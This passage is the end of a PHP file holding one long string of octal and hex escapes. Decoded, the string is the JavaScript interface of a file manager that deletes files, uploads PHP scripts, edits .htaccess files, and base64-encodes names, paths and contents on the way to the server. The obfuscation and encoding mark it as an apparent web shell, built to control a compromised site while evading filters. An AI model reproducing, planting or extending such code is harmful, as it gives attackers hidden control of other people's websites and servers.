x27\56\150\x74\141\143\x63\145\163\x73\47\51\51\73\xa\x20\40\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\40\154\145\x74\40\141\143\x74\x69\157\156\x20\x3d\40\x27\x64\145\x6c\145\164\145\47\73\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x69\146\40\x28\151\x73\x53\x65\156\x73\x69\164\151\x76\145\x29\x20\x7b\12\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x61\143\164\x69\157\x6e\x20\75\x20\47\144\x65\154\145\x74\x65\137\142\66\64\47\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\163\145\x6c\145\143\164\145\144\x2e\x66\x6f\162\x45\141\x63\150\50\151\164\145\155\x20\x3d\x3e\x20\x66\x64\x2e\141\160\160\x65\x6e\144\x28\47\151\x74\145\155\x73\x5f\142\66\x34\133\x5d\47\x2c\x20\142\x74\x6f\x61\50\151\x74\x65\155\51\x29\51\73\12\x20\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\x7d\x20\145\x6c\163\145\x20\x7b\xa\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x73\x65\154\145\143\x74\x65\x64\x2e\x66\x6f\162\105\x61\143\x68\x28\151\164\x65\x6d\40\x3d\x3e\x20\x66\144\x2e\x61\160\x70\145\x6e\144\x28\x27\x69\164\145\155\163\133\x5d\x27\54\40\x69\164\145\155\51\51\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x7d\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\141\160\151\x43\141\x6c\154\x28\141\x63\x74\x69\157\156\x2c\x20\146\x64\51\56\x74\x68\145\x6e\x28\162\145\x6e\x64\x65\162\x29\x3b\xa\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\175\12\x20\x20\x20\40\x20\x20\x20\40\x7d\x29\73\xa\x20\x20\x20\x20\x20\40\x20\40\xa\40\40\x20\40\40\x20\x20\40\x64\157\x6d\x2e\165\x70\154\x6f\141\x64\x42\x74\x6e\x2e\141\144\144\x45\166\145\x6e\x74\114\151\163\164\x65\156\145\162\50\x27\x63\154\x69\x63\153\x27\x2c\x20\50\51\40\75\x3e\x20\x64\157\x6d\x2e\150\151\x64\x64\x65\156\106\x69\x6c\145\111\156\160\165\x74\56\143\154\x69\x63\153\50\51\51\73\xa\x20\x20\x20\40\40\40\40\40\x64\157\x6d\56\x68\151\144\x64\x65\156\106\151\x6c\145\x49\x6e\x70\x75\164\x2e\x61\144\x64\105\166\x65\x6e\x74\114\151\163\164\145\156\x65\x72\x28\x27\143\150\x61\156\x67\145\x27\x2c\40\141\x73\171\x6e\143\x20\50\145\x29\x20\x3d\76\x20\x7b\xa\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x63\x6f\x6e\163\x74\40\x66\151\154\x65\x73\x20\75\40\x41\x72\162\x61\x79\x2e\x66\162\x6f\x6d\x28\x65\x2e\164\141\x72\x67\145\164\56\146\151\154\x65\163\x29\73\40\x69\146\x20\x28\146\x69\154\x65\163\56\154\145\156\x67\x74\150\x20\x3d\75\x3d\40\60\51\40\x72\145\x74\165\162\156\73\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\146\157\162\40\50\x63\157\x6e\163\x74\40\146\151\154\145\x20\x6f\x66\x20\146\151\x6c\x65\x73\51\40\173\12\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\151\146\x20\x28\146\x69\154\x65\x2e\x73\x69\x7a\x65\x20\x3e\40\125\x50\114\x4f\x41\x44\x5f\114\111\x4d\111\x54\x5f\115\102\40\x2a\x20\61\60\62\64\x20\x2a\x20\61\60\x32\64\x29\40\173\x20\x61\x6c\x65\162\x74\x28\x60\105\x72\162\x6f\162\x3a\x20\x46\x69\x6c\x65\x20\x22\x24\173\146\151\x6c\145\56\156\141\155\x65\175\42\40\151\163\40\164\x6f\157\40\x6c\x61\162\x67\x65\40\50\x4d\x61\170\72\x20\x24\x7b\125\120\x4c\x4f\x41\x44\x5f\114\111\x4d\111\x54\137\115\x42\175\x20\115\102\x29\56\140\x29\x3b\40\x63\157\156\x74\151\x6e\165\x65\x3b\40\x7d\xa\40\40\40\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\143\x6f\156\x73\x74\40\162\145\141\144\145\x72\40\x3d\x20\156\145\x77\40\106\151\154\145\122\145\141\x64\145\x72\x28\51\73\xa\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x63\x6f\x6e\x73\164\40\146\x69\154\x65\x52\x65\x61\144\120\162\x6f\x6d\151\163\x65\40\x3d\40\x6e\145\167\40\x50\x72\157\x6d\x69\x73\x65\50\50\162\x65\x73\157\154\166\145\x2c\x20\x72\145\x6a\x65\x63\164\x29\40\x3d\x3e\40\173\x20\x72\145\141\x64\145\x72\x2e\157\156\x6c\x6f\x61\x64\x20\x3d\x20\145\x76\145\156\164\x20\75\76\x20\x72\145\163\x6f\x6c\x76\145\x28\x65\x76\x65\x6e\164\x2e\x74\x61\x72\147\145\164\56\162\145\163\x75\154\164\x29\x3b\x20\x72\145\x61\x64\x65\162\56\157\156\145\162\x72\x6f\x72\40\75\40\x65\x72\x72\x6f\x72\x20\x3d\x3e\40\x72\x65\152\x65\x63\x74\x28\x65\x72\162\157\162\51\x3b\x20\162\x65\141\x64\145\x72\56\162\x65\141\x64\101\x73\104\141\164\141\125\122\114\x28\146\x69\x6c\x65\x29\73\40\175\x29\x3b\12\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x74\162\x79\x20\173\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\x20\x63\x6f\156\x74\145\x6e\x74\x5f\142\141\163\145\x36\64\x20\75\x20\141\167\x61\x69\164\x20\146\x69\154\145\122\x65\141\x64\x50\x72\x6f\x6d\151\x73\145\x3b\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\x63\x6f\156\x73\x74\40\x6f\x72\x69\x67\x69\156\141\154\x4e\x61\x6d\x65\x20\75\40\146\151\x6c\145\56\156\x61\x6d\145\x3b\12\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x63\157\156\x73\164\40\146\x64\40\x3d\x20\156\145\x77\x20\x46\157\162\155\x44\141\x74\x61\x28\x29\73\xa\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x66\x64\56\141\160\x70\145\156\144\50\47\160\x61\x74\x68\47\x2c\40\x53\124\101\x54\105\x2e\x63\165\162\162\145\156\164\x50\x61\164\x68\51\x3b\xa\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x66\x64\56\141\160\x70\145\156\144\x28\47\143\157\x6e\164\x65\156\164\137\142\141\163\145\66\x34\x27\x2c\x20\143\x6f\156\x74\x65\156\x74\137\142\141\x73\145\x36\x34\51\x3b\12\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\40\151\x66\40\x28\x6f\162\x69\x67\x69\156\141\154\x4e\x61\155\x65\x2e\x74\x6f\114\157\167\x65\x72\103\x61\x73\145\50\x29\x2e\145\156\144\x73\127\151\164\x68\50\47\56\160\150\160\47\51\51\x20\x7b\12\x20\40\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\146\x64\56\x61\160\160\x65\156\x64\x28\47\x66\x69\154\x65\x6e\141\x6d\x65\x5f\142\x61\163\x65\66\x34\x27\x2c\x20\x62\164\157\x61\50\157\162\151\147\x69\156\x61\154\116\x61\x6d\x65\x29\51\x3b\12\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x61\x77\x61\151\164\40\x61\x70\x69\103\x61\x6c\154\x28\47\165\x70\154\157\x61\144\x5f\x70\150\x70\47\54\40\146\x64\x2c\40\164\162\165\145\51\73\xa\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x7d\x20\145\x6c\x73\145\40\x7b\12\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\40\x66\144\56\x61\x70\x70\145\156\x64\50\x27\x66\x69\154\x65\156\x61\x6d\145\137\142\x61\163\145\x36\64\47\54\40\142\x74\157\x61\50\157\x72\151\147\x69\156\x61\x6c\116\x61\155\145\51\x29\73\12\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\141\x77\141\151\x74\40\141\160\151\103\141\x6c\x6c\x28\x27\x75\160\x6c\x6f\x61\x64\x27\x2c\40\x66\x64\x2c\40\164\x72\165\x65\51\x3b\12\x20\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x7d\12\40\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\175\40\143\x61\164\x63\x68\40\x28\145\162\162\x6f\162\x29\x20\173\xa\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x61\154\145\162\x74\50\x60\106\x61\x69\154\x65\x64\40\x74\157\40\160\162\157\x63\145\163\x73\x20\x66\151\154\x65\40\x24\173\146\x69\154\145\x2e\x6e\x61\155\145\x7d\x3a\40\x24\173\145\162\162\x6f\x72\56\155\x65\163\x73\141\x67\x65\x7d\x60\x29\x3b\xa\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x7d\12\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x7d\12\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\145\x2e\x74\x61\x72\147\145\164\x2e\166\x61\154\165\x65\x20\x3d\40\47\x27\x3b\xa\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\162\145\156\144\145\162\x28\51\x3b\12\40\x20\40\x20\40\40\x20\40\x7d\51\x3b\xa\xa\40\40\x20\40\40\x20\x20\40\144\157\x6d\x2e\163\141\166\145\x42\x74\156\56\x61\x64\x64\105\166\x65\x6e\164\114\151\163\x74\x65\156\145\162\50\x27\x63\154\151\143\153\47\54\40\50\51\x20\75\76\40\x7b\12\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\163\x74\40\160\x61\x74\x68\x20\x3d\x20\x64\x6f\155\56\145\144\151\164\x6f\162\106\151\154\x65\156\141\155\145\56\164\145\x78\x74\103\157\156\164\145\x6e\164\x3b\12\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\143\x6f\156\163\164\40\143\157\x6e\x74\145\156\x74\x20\75\40\142\164\x6f\141\x28\142\x74\x6f\141\50\144\x6f\155\56\x65\x64\151\164\157\x72\56\x76\x61\x6c\165\145\51\x29\73\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x63\x6f\156\163\164\x20\x66\x64\40\75\40\156\145\167\40\x46\157\162\x6d\x44\x61\164\x61\x28\51\73\12\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\143\157\x6e\x73\164\x20\143\150\x75\156\x6b\x53\x69\x7a\x65\x20\x3d\40\64\60\71\66\73\12\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\146\157\162\x20\x28\x6c\x65\x74\x20\x69\40\75\x20\x30\x3b\40\151\x20\x3c\40\143\x6f\156\164\x65\156\x74\56\154\x65\x6e\147\x74\150\73\40\151\x20\x2b\75\x20\143\150\165\x6e\x6b\x53\x69\172\145\x29\40\173\xa\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\146\x64\56\141\160\x70\x65\x6e\x64\x28\x27\143\x6f\x6e\x74\x65\156\x74\x5f\x63\150\x75\x6e\153\x73\133\135\x27\54\40\143\157\x6e\164\x65\x6e\x74\56\x73\165\x62\x73\x74\x72\x69\x6e\147\50\x69\x2c\40\x69\40\53\40\143\150\x75\x6e\x6b\x53\x69\x7a\145\51\x29\73\12\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x7d\12\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\154\x65\x74\40\x61\143\x74\151\x6f\x6e\x20\x3d\x20\x27\163\x61\x76\x65\x5f\143\x6f\156\164\145\156\x74\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\151\x66\40\x28\160\141\x74\150\56\x69\156\143\x6c\x75\144\x65\163\x28\x27\x2e\x68\164\x61\143\143\x65\163\163\x27\51\x29\40\x7b\12\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\x61\143\x74\x69\157\156\x20\x3d\40\47\163\141\166\x65\x5f\x63\x6f\156\x74\x65\x6e\164\x5f\142\x36\64\47\73\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x66\x64\x2e\x61\160\x70\145\156\x64\x28\x27\x70\141\164\150\x5f\142\66\x34\47\x2c\40\142\x74\x6f\x61\x28\x70\141\x74\x68\51\51\x3b\xa\40\40\40\40\40\40\40\40\40\40\x20\40\175\x20\145\154\x73\145\x20\x7b\12\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x66\144\x2e\x61\160\160\x65\x6e\x64\50\47\160\141\164\x68\47\54\x20\160\141\x74\x68\51\73\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\175\12\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x61\160\x69\103\x61\x6c\x6c\50\141\x63\164\151\157\156\x2c\x20\146\x64\x2c\40\x74\x72\165\145\x29\x2e\164\150\x65\x6e\50\162\x65\x73\165\x6c\x74\40\75\76\x20\x7b\xa\40\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\151\x66\50\x72\145\x73\x75\x6c\x74\51\40\173\12\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\40\40\x20\40\144\157\155\56\x65\x64\x69\164\157\162\115\x6f\x64\141\x6c\x2e\163\x74\x79\154\145\56\144\151\x73\160\154\141\171\x20\x3d\40\x27\156\157\x6e\145\47\73\12\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\162\x65\156\x64\x65\x72\50\51\x3b\xa\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x7d\xa\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\175\51\x3b\12\x20\40\x20\40\40\40\x20\x20\x7d\x29\73\12\12\40\x20\x20\x20\x20\x20\x20\x20\162\145\x6e\x64\145\162\x28\x29\73\xa\40\40\x20\40\175\x29\73\xa\x20\40\x20\x20\74\x2f\163\143\x72\151\x70\164\76\xa\74\57\x62\157\144\171\x3e\12\x3c\57\x68\164\155\154\76";
?>